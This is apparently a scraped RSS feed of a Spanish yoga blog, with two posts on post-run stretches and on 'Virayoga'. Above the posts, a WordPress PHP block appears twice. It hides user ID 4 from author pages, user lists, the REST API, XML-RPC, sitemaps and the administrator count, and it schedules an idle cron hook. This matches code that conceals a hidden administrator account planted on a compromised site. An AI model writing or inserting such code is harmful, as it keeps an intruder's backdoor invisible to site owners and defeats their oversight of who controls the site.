add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 4;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 4 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 4;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 4;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 4;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 4;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 4;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 4 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 4;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 4;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 4;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 4;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
La entrada YOGA PARA RUNNERS se publicó primero en Yoga con Arjuna.
]]>Es tan importante el estiramiento después de una carrera o un entreno como una buena alimentación o un buen calzado.
El running nos aporta muchísimos beneficios: Fortalece huesos, mejora el sistema cardiorespiratorio, regenera la masa muscular, mejora las defensas, ayuda a elimina el estrés y la ansiedad y un sinfín de beneficios más.
Todo esto con una práctica de yoga seria genial! Aunque si todavía no estas iniciado en la práctica del Yoga, te dejo tres asanas (posturas) para estirar tus piernas después de tu carrera.
Supta Virasana , Janu Sirsasana y Ardha Matsyendrasana.
El hecho de que sean asanas de suelo nos permite tomar consciencia de nuestro cuerpo y bajar pulsaciones suavemente. Una manera de conectar con la tierra y descargar también la tensión que se haya podido acumular tras la carrera. Y como no, ya que estas sentado aprovecha unos minutos para meditar, ir hacia adentro, controlar la respiración y dejar que tu mente se calme.
Supta Virasana: Supta = Tumbado, Vira = Héroe, guerrero.

Estiramiento anterior del cuerpo. Estiramos el abdomen, el pectoral mayor, la tibial anterior, el glúteo mayor, el psoas mayor, el dorsal ancho, los empeines y en definitiva toda la cara anterior de las piernas.
Aportándonos también beneficios como:
Janu Sirsasana: Janu= Rodilla, Sirsa= cabeza

Estiramiento posterior del cuerpo. Estiramos los gemelos, el sóleo, los isquiotibiales, el dorsal ancho, los extensores de la columna, los glúteos y en definitiva toda la cara posterior de las piernas.
Aportándonos también beneficios como:
Ardha Matsyendrasana: Ardha= Media, Matsya= Pez, Indra= Señor

Estira la columna vertebral, los músculos que unen las vértebras de forma oblicua, es decir los músculos rotadores o musculatura paravertebral.
Estiramos el esplenio de la cabeza, los romboides, los erectores de la columna, el esternocleidomastoideo, el piramidal, el gémino superior e inferior y el obturador interno.
La torsión de las vértebras también favorece la hidratación de los discos intervertebrales y las articulaciones vertebrales adquieren mayor elasticidad restaurando la movilidad a la columna.
Aportándonos también beneficios como:
Ya sabéis “Runners” cuando acabéis vuestras carreras podéis dedicar unos minutos a sentaros, reposar y estirar con conciencia. Os aconsejo como dije antes, después del estiramiento, una breve meditación. De esta forma cuidareis mejor vuestra musculatura y también vuestra mente.
Arjuna
La entrada YOGA PARA RUNNERS se publicó primero en Yoga con Arjuna.
]]>La entrada El camino del poder interno, el VIRAYOGA se publicó primero en Yoga con Arjuna.
]]>El trabajo del practicante de VIRAYOGA no solo es un conocimiento de asanas de Yoga con técnicas de Artes Marciales. Es mucho más, unifica el equilibrio y la paz que aporta el yoga con la autoconfianza y el trabajo de coordinación de las artes marciales. Permitiéndonos gozar de los beneficios de ambas disciplinas por igual.
Pero no es solo eso. Desde mi punto de vista la parte más autentica del VIRAYOGA es sin duda, la del crecimiento personal. Como bien dice su nombre es:»EL CAMINO DEL PODER INTERNO».
Este es el motivo por el que en cada session se trabaja un Shankalpa, una frase afirmativa con una intención concreta para lograr un objetivo. Durante la sadhana dirigimos nuestra energía hacía aquello que queremos conseguir, teniendo presente en todo momento nuestro shankalpa. Este tipo de acciones nos ayuda a fijar objetivos y afianzar nuestras bases para caminar por la vida. Nos despierta un guía interno, nuestro héroe/heroína que nos va a ayudar a superar las adversidades y a tomar consciencia de nuestro presente.
Por todo esto, en nuestra formación contamos con Esther Casermeiro, Psicóloga y Coach que se encargará de la parte de crecimiento personal, ayudándonos a despertar nuestro héroe/heroína intern@.
Ya veis, el Virayoga es un sistema de Yoga super completo! Con asanas, técnicas de las Artes Marciales, meditaciones, pranayamas, crecimiento personal y muchas sorpresas más que están por venir. Todo unido con amor e ilusión para disfrutar de una práctica nueva que nos enriquece en muchas aspectos.
ARJUNA Y DURGA

La entrada El camino del poder interno, el VIRAYOGA se publicó primero en Yoga con Arjuna.
]]>